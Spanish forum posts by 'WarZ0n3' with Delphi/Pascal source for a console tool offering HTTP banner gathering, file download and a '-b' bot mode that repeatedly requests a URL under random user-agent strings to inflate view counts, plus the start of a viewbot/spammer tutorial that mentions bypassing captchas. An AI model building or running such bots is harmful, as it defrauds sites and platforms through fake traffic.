(* con parametro -d                          *)
(* <sitio><ruta+nombre_archivo_a_guardar>    *)
(* -d www.sitio.com/robots.txt C:/OUTPUT.TXT *)
(*********************************************)
(* con parametro -h y -m                     *)
(* Desplega la ayuda                         *)
(*********************************************)

(*
     Puedes encontrarme en foro.elhacker.net e
     indetectables.net por cualquier duda.
     
     Todos los desensamblados como las funciones
     escritas en ASM fueron echas por WarZ0n3,
     si las incluyes en tu proyecto te pido que
     me des los creditos correspondientes...
     NO ME HAGO RESPONSABLE DEL MAL USO QUE LE
     PUEDAN DAR.
                   Atte : Warz0n3
*)

{$APPTYPE CONSOLE}

uses
 SysUtils,
 Windows,
 WinInet,
 WinSock;

type
 PTcpData    = ^TcpData;

 TcpData     = record
   SendDataBuffer      : array[$00000000..GETEXTENDEDTEXTMETRICS] of Char;
   RecvDataBuffer      : array[$00000000..(GETEXTENDEDTEXTMETRICS*2)] of AnsiChar;
 end;

     // configuracion del viewbot
const
 INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
 INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
 INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
 INTERNET_SERVICE_HTTP               = $00000003;

 {$DEFINE INTERNET_FLAG_RELOAD}
 {$DEFINE INTERNET_FLAG_NO_COOKIES}
 {$DEFINE INTERNET_FLAGS_MASK}
 INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD  or
                                       INTERNET_FLAG_NO_COOKIES;

 HASHKEY                             = 55; //$00000028; // 40d
 HTTP                                = 'http://';
 // ******************************************

 { Config }
 BL         = #13#10;

 { HTTP Methods }
 POST        = 'POST';
 GET         = 'GET';
 OPTIONS     = 'OPTIONS';
 HEAD        = 'HEAD';

 { Version }
 HTTP0       = ' HTTP/1.0';
 HTTP1       = ' HTTP/1.1';
 STP         = ' /';

 { Octetos }
 ZERO        = $00000000;
 BSIZE       = $00001024;
 BUFFSIZE    = $00000041; // 65d //$000000FF;
 BUFFDATA    = $00001000;
 INADDRSIZE  = $0000000A;

var
{$DEFINE Host}
 Host        : string;
{$DEFINE Port}
 Port        : Uint;

 WSData      : WsaData;
 TcpSocket   : tSocket;
 sAddr       : sockaddr_in;
 pIp         : string;
 I           : Integer;

 (*
 00408450  /$ 55             PUSH EBP      
 00408451  |. 8BEC           MOV EBP,ESP
 00408453  |. 6A 00          PUSH 0
 00408455  |. 53             PUSH EBX
 00408456  |. 33C0           XOR EAX,EAX
 00408458  |. 55             PUSH EBP
 00408459  |. 68 BA844000    PUSH Project2.004084BA
 0040845E  |. 64:FF30        PUSH DWORD PTR FS:[EAX]
 00408461  |. 64:8920        MOV DWORD PTR FS:[EAX],ESP
 00408464  |. 68 9C374100    PUSH Project2.0041379C                   ; /pWSAData = Project2.0041379C
 00408469  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
 0040846B  |. E8 98FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
 00408470  |. 90             NOP
 00408471  |. 90             NOP
 00408472  |. 90             NOP
 00408473  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
 00408476  |. B8 01000000    MOV EAX,1
 0040847B  |. E8 88A3FFFF    CALL Project2.00402808
 00408480  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
 00408483  |. E8 A4BBFFFF    CALL Project2.0040402C
 00408488  |. 50             PUSH EAX                                 ; /Name
 00408489  |. E8 72FFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
 0040848E  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
 00408491  |. 33D2           XOR EDX,EDX
 00408493  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
 00408496  |. FF30           PUSH DWORD PTR DS:[EAX]
 00408498  |. E8 3BFFFFFF    CALL <JMP.&wsock32.inet_ntoa>
 0040849D  |. 8BD8           MOV EBX,EAX
 0040849F  |. E8 6CFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
 004084A4  |. 33C0           XOR EAX,EAX
 004084A6  |. 5A             POP EDX
 004084A7  |. 59             POP ECX
 004084A8  |. 59             POP ECX
 004084A9  |. 64:8910        MOV DWORD PTR FS:[EAX],EDX
 004084AC  |. 68 C1844000    PUSH Project2.004084C1
 004084B1  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
 004084B4  |. E8 83B7FFFF    CALL Project2.00403C3C
 004084B9  \. C3             RETN
 *)

function                    // Host contiene la IP
 __call_ix86_getIP(): PChar; assembler;
asm
   PUSH EBX
   ADD ESP, 0FFFFFE70h
   PUSH ESP
   PUSH $1
   CALL WSASTARTUP
   NOP
   PUSH Host // 04081B4h
   CALL GetHostByName
   MOV EAX, [EAX+0Ch]
   XOR EDX, EDX
   NOP
   MOV EAX, [EAX+EDX*4]
   PUSH DWORD PTR [EAX]
   CALL INET_NTOA
   MOV EBX, EAX
   CALL WSACleanup
   MOV EAX, EBX
   ADD ESP, 0190h
   POP EBX
   RETN
end;

procedure
 __call_ix86_configureHost; assembler;
asm
 MOV EDX, OFFSET Host
 MOV EAX, $2  // nparam
 CALL PARAMSTR
end;
procedure
 __call_ix86_configurePort; assembler;
asm
 LEA EDX, [EBP-04h]
 MOV EAX, $3
 CALL PARAMSTR
 MOV EAX, [EBP-04h]
 CALL STRTOINT
 MOV DWORD PTR DS:[PORT], EAX  (* configuracion del host y el puerto*)
end;

function
(*00408818  /$ 53             PUSH EBX
00408819  |. 33DB           XOR EBX,EBX
0040881B  |. 6A 74          PUSH 74                                  ; /Key = VK_F5
0040881D  |. E8 3AC7FFFF    CALL <JMP.&user32.GetAsyncKeyState>      ; \GetAsyncKeyState
00408822  |. 66:85C0        TEST AX,AX
00408825  |. 74 03          JE SHORT Project2.0040882A
00408827  |. 83CB FF        OR EBX,FFFFFFFF
0040882A  |> 8BC3           MOV EAX,EBX
0040882C  |. 5B             POP EBX
0040882D  \. C3             RETN
*)
 __call_ix86_interceptF5() :  BOOL; assembler;
asm
 PUSH EBX
 XOR EBX, EBX
 PUSH $74     // F5
 CALL GETASYNCKEYSTATE
 TEST AX, AX
 JE @A0040882D   // label relativo
 OR EBX, $FFFFFFFF
 @A0040882D:
 MOV EAX, EBX
 POP EBX
 RETN
end;


(*                                                  // Configuracion del host y puerto
004084B7  |. BA 9C374100    MOV EDX, .0041379C
004084BC  |. B8 01000000    MOV EAX,1
004084C1  |. E8 42A3FFFF    CALL  .00402808

004084C3  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
004084C6  |. B8 02000000    MOV EAX,2
004084CB  |. E8 38A3FFFF    CALL .00402808
                                                  // configuracion de los sockets
004084C6  |. 68 A0374100    PUSH  .004137A0                          ; /pWSAData = Project2.004137A0
004084CB  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
004084CD  |. E8 36FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup

004084D4  |. 6A 00          PUSH 0                                   ; /Protocol = IPPROTO_IP
004084D6  |. 6A 01          PUSH 1                                   ; |Type
004084D8  |. 6A 02          PUSH 2                                   ; |Family = AF_INET
004084DA  |. E8 19FFFFFF    CALL <JMP.&wsock32.socket>               ; \socket
004084DF  |. A3 A0374100    MOV DWORD PTR DS:[4137A0],EAX
*)
procedure InitGathering();
var
 TcpData           : PTcpData; // puntero a tcpdata
 nOpc              : integer;
begin
{$IFDEF Host}
   __call_ix86_configureHost;  // inicio la configuracion de parametros
{$ENDIF}
{$IFDEF Port}
   __call_ix86_configurePort;
{$ENDIF}
 ASM
 PUSH EBX
 ADD ESP, 0FFFFFE70h
 PUSH ESP
 PUSH $1                 // version
 CALL WSAStartup         //WSAStartUp($1, WSData);
 PUSH $0
 PUSH $1
 PUSH $2
 CALL SOCKET
 MOV DWORD PTR DS:[TcpSocket], EAX  // Puntero a tcpsocket  //TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO);
 END;
 New(TcpData); // reservamos memoria para la estructura

 sAddr.sin_family:= af_inet;
 sAddr.sin_addr.s_addr:= inet_addr(__call_ix86_getip()); //INET_ADDR('173.194.42.209');
 sAddr.sin_port:= htons(Port); //htons( StrToInt(ParamStr(2)) );

 nOpc:= 4;
 // Opcion por default
 if (ParamStr(nOpc)<' ') then
   TcpData^.SendDataBuffer:= 'OPTIONS /index.html HTTP/1.0'+BL+BL;
 // Gathering automatico
 if (ParamStr(nOpc)>' ') then
 begin
   if (ParamStr(nOpc)='get_proto_0') then
     TcpData^.SendDataBuffer:= GET+STP+HTTP0+BL+BL;
   if (ParamStr(nOpc)='get_proto_1') then
     TcpData^.SendDataBuffer:= GET+STP+HTTP1+BL+BL;
   if (ParamStr(nOpc)='post_proto_0') then
     TcpData^.SendDataBuffer:= POST+STP+HTTP0+BL+BL;
   if (ParamStr(nOpc)='post_proto_1') then
     TcpData^.SendDataBuffer:= POST+STP+HTTP1+BL+BL;
   if (ParamStr(nOpc)='options_proto_0') then
     TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP0+BL+BL;
   if (ParamStr(nOpc)='options_proto_1') then
     TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP1+BL+BL;
   if (ParamStr(nOpc)='head_proto_0') then
     TcpData^.SendDataBuffer:= HEAD+STP+HTTP0+BL+BL;
   if (ParamStr(nOpc)='head_proto_1') then
     TcpData^.SendDataBuffer:= HEAD+STP+HTTP1+BL+BL;
 end;

 try
   WriteLn('[Conectando al servidor]: ', __call_ix86_getip());

   Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr));
   WriteLn('[Parametro]: ', TcpData^.SendDataBuffer );
   Winsock.Send(TcpSocket, TcpData^.SendDataBuffer, StrLen(TcpData^.SendDataBuffer), MSG_DONTROUTE);
   Winsock.Recv(TcpSocket, TcpData^.RecvDataBuffer, BSIZE, SD_RECEIVE);
   WriteLn(TcpData^.RecvDataBuffer);
 finally
   Dispose(TcpData);
   Shutdown(TcpSocket, SD_BOTH);
   CloseSocket(TcpSocket);
   WSACleanUp();
 end;

end;

function
 RandomHashes(LenDict:integer):string;
const
 BuffHash    : Array[0..BUFFSIZE] of Char= (
   'a', 'b', 'c', 'd', 'e', 'f', 'g',
   'h', 'i', 'j', 'k', 'l', 'm', 'n',
   'o', 'p', 'q', 'r', 's', 't', 'u',
   'u', 'v', 'w', 'x', 'y', 'z', 'A',
   'B', 'C', 'D', 'E', 'F', 'G', 'H',
   'I', 'J', 'K', 'L', 'M', 'N', 'O',
   'P', 'Q', 'R', 'S', 'T', 'U', 'V',
   'W', 'X', 'Y', 'Z', '0', '1', '2',
   '3', '4', '5', '6', '7', '8', '9',
   '=', '?', '-'
 );
var
 iHash         : Integer;
 PBuffHash     : Char;
begin
 iHash:= Length(BuffHash)-LenDict;
 repeat
   Randomize;
   PBuffHash:= BuffHash[Random(Length(BuffHash))];
   asm
     @@StartUp:
       DEC(iHash);
   end;
   Result:= Result+PBuffHash;
 until (iHash<ZERO);
 Result:= Result;

 ZeroMemory(Addr(iHash), SizeOf(iHash));
 ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
end;

function
 DownloadInetFile(urlhandle:HInternet; const nfile:string): string;
var
 Buffer          : array [0..1024] of char;
 bytesRead       : DWORD;
 txtFile         : TextFile;
begin
Result:= '';
{$I-}
 if nfile>'' then begin
   {$DEFINE CONFIGURE_INTERNET_FILE}
   assignfile(txtFile, nfile);
   rewrite(txtfile);
 end;
 {$I+}
   {$IFDEF CONFIGURE_INTERNET_FILE}
     fillchar(buffer, sizeof(buffer), ZERO); // inicializamos el buffer

     repeat
       result:= result+buffer;

       internetreadFile(urlhandle, @buffer, sizeof(buffer), bytesread);
       {$I-}if nfile>'' then write(txtfile, buffer);{$I+}

       writeln(buffer);
     until bytesread=0;
   {$ENDIF}
   {$UNDEF CONFIGURE_INTERNET_FILE}
 {$I-}closefile(txtfile);{$I+}
end;

function
 OpenINet(url, nFile :string; HashLen, Secs, Opc: integer ) : BOOL;
var
 hInet,
 hUrl        : hInternet;
 NHash       : PChar;
 Init        : BOOL;
begin
 NHash:= PChar( RandomHashes(HashLen) );
 hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, PChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
                           INTERNET_FLAG_RELOAD, INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     if Opc=$02 then begin
       DownloadInetFile(hUrl, nFile); end
     else if Opc=$03 then begin
       DownloadInetFile(hUrl, ''); end
     else begin
       Result:= true;
       WriteLn('[Hash generado]: '+ NHash);
     end;
   end
   else begin
     WriteLn('Se ha producido un error en la conexion... ');
     Result:= false;
   end;
 end; // assigned
 Sleep(Secs*1000);

 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
 FreeMemory(NHash);
end;

procedure
 CALLBACK_DownloadInetFile(nFile:string; HashLen, Secs:integer);
begin
 {$IFDEF Host}
   __call_ix86_configureHost; // configura el primer parametro como Host
 {$ENDIF}
 OpenInet(Host, nFile , HashLen, Secs, $02 );
end;

procedure
 InitIrb;
var
 Init        : BOOL;
 cIrb        : integer;
begin
 Init:= true;
 {$IFDEF Host}
   __call_ix86_configureHost;
 {$ENDIF}
 WriteLn('Apreta (F5) para salir del bot.');
 while Init do begin
   if OpenInet( Host, '' , HASHKEY, StrToInt( ParamStr(3) ), ZERO ) then
   begin
     inc(cirb);
     writeLn(
       '[Servidor visitado]: ', ParamStr(2),
       #13#10 +'[Ip]: ', __call_ix86_getip(), #13#10+'[Numero de veces]: ', cirb,
       #13#10 +'============================'
     );
   end
   else begin
     writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
     
   if __call_ix86_interceptF5() then begin
     Init:= false;
     WriteLn(#13#10+'Opcion salida por el usuario.');
   end;
 end;
 ZeroMemory(Addr(cirb), sizeof(cirb));
end;

var
 Input       : integer;
 Output      : string;
 Opc         : array[1..2] of Byte = ($01, $02);
begin
 {$O+}

 writeln   (
 ' _____       _   _' ,  #13#10,
 '|  __ \     | | | |' , #13#10,
 '| |  \/ __ _| |_| |__   ___  _ __ '  , #13#10 ,
 '| | __ / _` | __|  _ \ / _ \|  __|' , #13#10 ,
 '| |_\ \ (_| | |_| | | | (_) | |   '  ,  #13#10 ,
 ' \____/\__,_|\__|_| |_|\___/|_|   ' , #13#10 ,
 #9#9,'-==0.5 by - WarZ0n3==-' , #13#10#9, 'Happy Hacking...', #13#10
 );

 try
 
     if pos('-h', ParamStr(1))<>0 then
       writeln(#13#10, #9,
           '-m     = metodos http usados para gathering(-g)', #13#10#9,
           '-h     = me estas viendo bebe.', #13#10#9,
           '-d     = descarga archivo : <www.sitio><nombre_archivo_a_guardar>', #13#10#9,
           '-b     = modo bot(spam-sitio) : <www.sitio><intervalo_en_segundos>', #13#10#9,
           '-g     = modo gathering : <www.sitio><puerto><metodo_http>', #13#10#9,
           '-r     = lee un archivo de un sitio web : <www.sitio/archivo.ext>'
           );

     if pos('-m', ParamStr(1))<>0 then
       writeln( #13#10#9,
         'Los siguientes comandos permiten hacer', #13#10#9,
         'peticiones HTTP por distintas opciones,', #13#10#9,
         'GET, POST, HEAD, ETC... y version del', #13#10#9,
         'protocolo respectivamente 1.0 o 1.1', #13#10 , #13#10#9,
         'get_proto_0 -> metodo GET por HTTP/1.0' , #13#10#9,
         'get_proto_1 -> GET por HTTP/1.1', #13#10#9,
         'post_proto_0 -> POST por HTTP/1.0', #13#10#9,
         'post_proto_1 -> POST por HTTP/1.1', #13#10#9,
         'options_proto_0 -> OPTIONS por HTTP/1.0' , #13#10#9,
         'options_proto_1 -> OPTIONS por HTTP/1.1', #13#10#9,
         'head_proto_0 -> HEAD por HTTP/1.0' , #13#10#9,
         'head_proto_1 -> HEAD por HTTP/1.1', #13#10#9#13#10#9,
         'Ejemplo del gathor : -g www.facebook.com 80 get_proto_1', #13#10
           );

     if pos('-d', ParamStr(1))<>0 then begin
       if ParamCount=3 then
         CALLBACK_DownloadInetFile(ParamStr(3), 55, 1)
       else
         Write(#13#10, 'Parametros: <opcion><www.sitio><ruta+nombre_archivo_a_guardar>');
     end;
     if pos('-b', ParamStr(1))<>0 then begin
       if ParamCount=3 then
         InitIrb()
       else
         Write(#13#10, 'Parametros: <opcion><www.sitio/video_a_aumentar><intervalo_en_segundos>');
     end;
     if pos('-g', ParamStr(1))<>0 then begin
       if ParamCount=4 then
         InitGathering()
       else
         Write(#13#10, 'Parametros: <www.sitio><puerto><metodo_http>');
     end;
     if pos('-r', ParamStr(1))<>0 then begin
       if ParamCount=2 then begin
       {$IFDEF Host} __call_ix86_configureHost; {$ENDIF}
       OpenINet(Host, '', 55, 1, 3 ); end
       else begin Write(#13#10, 'Parametros: <www.sitio/archivo.ext>'); end;
     end;
     
 except end;
 {$O-}

end.


gathor con parametro -r


gathor con parametro -d


gathor con parametro -h y -m


gathor con parametro -g por medio del metodo get


gathor con parametro -g por medio del metodo post


gathor con parametro -g por medio del metodo head


gathor con parametro -g por medio del metodo options

#7
La verdad es que no se .NET, pero al ver tu problema me intereso mucho ayudarte, mas con el tema overflows(si tuviera más tiempo claro).
Pero voy a dar un ejemplo rapido, como bien dijo novluker.
Y el problema es que la verdad muchas veces es necesario la recursividad, pero no es lo recomendable para nada, ya que es una forma fácil de quedarse sin espacio en la pila, y como esta es limitada en tamaño puede llevar a un bof... cuando tenga mas tiempo hablamos.
#8
Hace no mucho había escrito una función en pascal usando WinSocks llamada GetIp, aquí les dejo el post: http://foro.elhacker.net/programacion_general/pascal_gathor_01_recolector_de_informacion-t396062.0.html

Básicamente conseguía la IP de un sitio pasado como parámetro, pero el ensamblado que le había hecho era bastante malo, hoy que tuve un rato, lo desensamble(bendito IDA  ;D)  y modificando el desensamblado logre reconstruir la función pero en assembler.
Reduje el código de la vez pasada para que quede bien legible, y se entienda.

Aquí la función (compilada en delphi 7), ojala les sirva  :rolleyes:

Código (pascal) [Seleccionar]

program Gathor;

{$APPTYPE CONSOLE}

(***********************************)
(*   Funcion GetIp por WarZ0n3     *)
(* Explicacion:                    *)
(* PoC usando Winsocks en assembly *)
(* Uso:                            *)
(* Consigue la IP de un sitio web  *)
(* pasado como argumento           *)
(***********************************)

uses
  SysUtils,
  Windows,
  WinSock;

var
  SITE : string;

(* Reporte por WarZ0n3
00408174  /$ 53             PUSH EBX
00408175  |. 81C4 70FEFFFF  ADD ESP,-190
0040817B  |. 54             PUSH ESP                                 ; /pWSAData
0040817C  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
0040817E  |. E8 91FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
00408183  |. 90             NOP
00408184  |. 90             NOP    // Solo para demostracion en el stack
00408185  |. 90             NOP
00408186  |. 68 B8814000    PUSH Project2.004081B8                   ; /Name = "www.youtube.com"
0040818B  |. E8 7CFFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
00408190  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
00408193  |. 33D2           XOR EDX,EDX
00408195  |. 90             NOP
00408196  |. 90             NOP   // Solo para demostracion en el stack
00408197  |. 90             NOP
00408198  |. 90             NOP
00408199  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
0040819C  |. FF30           PUSH DWORD PTR DS:[EAX]
0040819E  |. E8 61FFFFFF    CALL <JMP.&wsock32.inet_ntoa>
004081A3  |. 8BD8           MOV EBX,EAX
004081A5  |. 90             NOP
004081A6  |. 90             NOP  // Solo para demostracion en el stack
004081A7  |. 90             NOP
004081A8  |. 90             NOP
004081A9  |. E8 6EFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
004081AE  |. 8BC3           MOV EAX,EBX
004081B0  |. 81C4 90010000  ADD ESP,190
004081B6  |. 5B             POP EBX
004081B7  \. C3             RETN
*)
function
  GetIP(): PChar; assembler;
asm
    PUSH EBX
    ADD ESP, 0FFFFFE70h
    PUSH ESP
    PUSH 1
    CALL WSASTARTUP
    NOP
    NOP
    NOP
    PUSH SITE // 04081B4h
    CALL GetHostByName
    MOV EAX, [EAX+0Ch]
    XOR EDX, EDX
    NOP
    NOP
    NOP
    MOV EAX, [EAX+EDX*4]
    PUSH DWORD PTR [EAX]
    CALL INET_NTOA
    MOV EBX, EAX
    CALL WSACleanup
    MOV EAX, EBX
    ADD ESP, 190h
    POP EBX
    RETN
end;

begin
  SITE:= ParamStr(1);
  WriteLn('[Sitio web]: ', SITE, #13#10+'[Ip]: ', GetIP());
 
end.




#9
Lo prometido es deuda, hace un tiempo había echo un pequeño Viewbot, y al parecer a la gente le ha gustado, hoy les traigo algunas de las técnicas para programarlo lo más eficiente posible.. claro que lo haremos con las APIS WinInet, Winsock y más...


===============================

0)¿Por que Pascal?.
1)Introducción.
2)Conocimientos previos.
3)Desarrollando con la libreria WinInet.
4)Hablando de "Return" y "Result" en Pascal.
5)Probando nuestro robot por primera vez.
6)Convirtiendo nuestra PC en un servidor web de pruebas.
7)Creando un contador de visitas en PHP y algo más...
8)Hashes mixtos para nuestra maquina.
9)Un vistazo a la programación monolítica.
10)Limpiando variables en memoria(Apartado de optimizacion 1º parte).
11) Probando nuestro viewbot por 2º vez.
12) Usando el API Winsock para obtener Ips.
13)Finalizando.
14) Probando nuestro viewbot por 3º vez!.
15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc(Apartado de optimizacion 2º parte).
16)Mirando en LordPe la sección .reloc.
17)Viendo el Stack y el Heap con WinDbg.
18)Despedida.

===============================


0)¿Por que Pascal?:
Porque es un lenguaje muy potente, sin dudarlo a la altura de C++, que lo supera en algunos aspectos y como comentario personal,
se puede decir que en pascal se han programado grandes troyanos y/o herramientas de hacking.
Pascal tanto como C, lamentablemente son tomados por los novatos de la programación como "lenguajes de alto nivel",
pero esto es completamente falso, ambos son LENGUAJES DE PROPOSITO GENERAL,
esto quiere decir que podemos programar tanto a alto nivel, como a medio nivel, o bajo nivel(asm y mas, incluso se pueden hacer drivers).
Por ejemplo, el FPC compila 10% mas rapido que el GCC,
pueden encontrar mas información acerca de este lenguaje aquí: http://es.wikipedia.org/wiki/Pascal_(lenguaje_de_programaci%C3%B3n)

1)Introduccion:
Antes de comenzar con el tutorial les pido que si deciden distribuir este material,
mencionen al autor por respeto y por que seria(en mi opinión) la forma mas sumisa de darme las gracias si te ha servido,
mi nombre es WarZ0n3 y me puedes encontrar en el los foros de http://foro.elhacker.net o http://www.indetectables.net.

El uso de Wininet no esta muy documentado, no he encontrado demasiada información al respecto,
y es un hecho que gran parte de los códigos que se pueden encontrar en la red fueron hechos como ejemplos,
por lo que realmente pasare a decir que lo aquí explicado, se comentara lo mas posible. Ademas el uso de robots,
spamers publicitario etc.. no es un tema nuevo(aunque nunca vi un tutorial de como programar uno),
por esto se me ocurrió hablar sobre este tema, pero cuando se saben usar APIS como winsock, wininet, etc..
sea en C++ o pascal y usando tu sentido común podrás desarrollar un viewer,
lo suficientemente poderoso y profesional para el mercado.
Pero RECUERDEN que este es un tutorial para aquellos iniciados en el tema de las APIS. Así que basta de rodeos y a empezar.

2)Conocimientos previos:
Si no sabes usar APIS, o eres un iniciado en pascal, no debes preocuparte, ya que este tutorial
se enfoca en las personas que recién empiezan.
No sondeare sobre como desensamblar código para hacer las funciones en asm puro
y se ejecuten mas rápido (esto por si lo ven en códigos futuros míos), tal vez para otro tutorial,
eso puede aprenderse en shellcoding (de hecho así lo aprendí yo).

3)Desarrollando con la librería WinInet:
Wininet es una dll que puedes encontrar en System32 de tu windows, y es la encargada de las funciones de internet.
La importancia de usarla es que, como toda API, se pueden hacer cosas muy profesionales arbitrariamente hablando, también tomar en cuenta la optimización de código, y que siempre es mejor usar apis, en vez de componentes externos o indys. No tengo nada contra de estos, incluso hay veces que debo recurrir a ellos.

Lo primero sera agregarla en USES para poder usarla, y para ello abrimos delphi 7 nos vamos a
file->new->other y elejimos console application.


Ahora crearemos una función la cual se encargara de hacer peticiones a una pagina que nosotros le pasemos como argumento:
Código (pascal) [Seleccionar]
// Uses: Requerimientos para usar la librería wininet y otras funciones de las que nos provee pascal
uses
 WinInet,
 Windows,
 SysUtils;

// aplicación de tipo consola
{$APPTYPE CONSOLE}

// directiva del compilador usada para añadir un símbolo especifico en la cabecera de C++ generada
{$HPPEMIT '#include <wininet.h>'}
// otro ejemplo {$HPPEMIT 'struct myVar'}, obviamente generada desde la cabecera de C++

// constantes que usaremos como parámetros en las funciones de wininet
(* recordemos que podemos usar valores hexadecimal para las definiciones, de echo
muchas se proveen de esta forma (por lo que yo recomiendo mucho esto),
también tengan presente que deben ser 8 dígitos (1 octeto), si no saben hexa usen la calculadora de windows en modo científico.
NOTA RAPIDA: en pascal los valores hexadecimales son definidos con el simbolo $ adelante *)

const
 INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
 INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
 INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
 {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
INTERNET_FLAGS_MASK         = INTERNET_FLAG_RELOAD      or
                               INTERNET_FLAG_NO_COOKIES;
 {$EXTERNALSYM INTERNET_FLAGS_MASK}
 ZERO                                = $00000000;
 HTTP                                = 'http://';


En pascal existen 3 tipos de comentarios:
Código (pascal) [Seleccionar]
// comentario 1(inline)
{comentario 2 equivalente a /**/ en c++}
(* comentario 3 equivalente a /**/ en c++ *)


NOTA: No es  lo mismo hacer {} que {$}, cuando hacemos esto {$} en realidad hablamos  de directivas del compilador,
si saben c++ deberían entender a que me refiero. #define ...
Código (pascal) [Seleccionar]
// Esta directiva impide a pascal que se sobrecarguen rutinas, ya definidas en los headers de C++
// ejemplo: {$EXTERNALSYM <VARIABLE_O_FUNCIÓN>}

Creando la función:
Código (pascal) [Seleccionar]
function
RequestInternet(url:string): BOOL;
var
 hInet,
 hUrl        : hInternet;

begin
 hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
 if assigned(hInet) then
 begin
   hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
     INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
   if assigned(hUrl) then begin
     Result:= true; end
   else begin Result:= false; end;
 end;

 InternetCloseHandle(hInet);
 InternetCloseHandle(hUrl);
end;


"if assigned": esta función chequea si la referencia no es de tipo nula (NIL), si lo es retorna FALSE y si no es nula retorna TRUE
ej: if assigned(Puntero) then begin ... <codigo> ... end;

Código (pascal) [Seleccionar]
hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
Básicamente inicializa el uso de las funciones de Wininet.
Pueden encontrar mas información al respecto en : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx

msdn nos dice que los parámetros son:
Código (cpp) [Seleccionar]
HINTERNET InternetOpen(
 LPCTSTR lpszAgent, // USER-AGENT del protocolo HTTP (luego lo cambiaremos)
 DWORD dwAccessType, // Tipo de acceso, es este caso el pre-configurado.
 LPCTSTR lpszProxyName, // Usados para proxys
 LPCTSTR lpszProxyBypass,
 DWORD dwFlags
);

Código (pascal) [Seleccionar]
hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
Usada para el acceso a internet (también puede usarse para el protocolo FTP). Y el HTTP+url,
es el definido en las constantes mas el parámetro de la función.
Los demás parámetros según la msdn:
Código (cpp) [Seleccionar]
HINTERNET InternetOpenUrl(
 HINTERNET hInternet, // Handler a OpenInternet(que inicializamos previamente)
 LPCTSTR lpszUrl, // Url pasada como argumento (ej: http://www.youtube.com&#38;#41;
 LPCTSTR lpszHeaders, // tipo de lectura en HTTP, FTP, o HTPPS (son soportados)
 DWORD dwHeadersLength,
 DWORD dwFlags,
 DWORD_PTR dwContext
);

Y nos retorna un NULL si la conexión ha fallado. Otra cosa es que podríamos haber usado InternetConnect,
no entrare en detalles, tal ves para otra entrega y otro tipo de spamer,
pero me limitare a decir que esto puede ser en caso de querer logearnos automáticamente(con autentificación ) a un sitio web,
y seria cuestión de saltarse los captchas, si es que los tiene, por esto solo utilizaremos "openurl",
ya que solo queremos generar visitas y nada más.
Código (pascal) [Seleccionar]
InternetCloseHandle(hInet); InternetCloseHandle(hUrl);
Cierra el/los manejadores de internet... mas información aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350&#38;#40;v=vs.85&#38;#41;.aspx
(Recordemos siempre liberar memoria, cerrando  handlers correctamente, y variables (mas si son de tipo puntero).

NOTA: Hinternet según wininet.pas son de tipo punteros, así que podríamos haber echo lo mismo de la
siguiente forma:
Código (pascal) [Seleccionar]
hInet,
 hUrl        : Pointer;

Si lo hacen así recomiendo usar FreeMemory(hInet), etc...

4)Hablando de return y result en Pascal:
En pascal no hay return como tal, pero alternativamente nos valemos de Result,
el cual se crea (automáticamente) cuando se inicia la función en memoria,
este contiene el resultado de dicha función y puede ser usada a lo largo del programa.
Para este ejemplo se uso un booleano que nos devuelve true si la sesión fue exitosa y false si no lo fue.

Entonces el código hasta el momento nos debe quedar así:
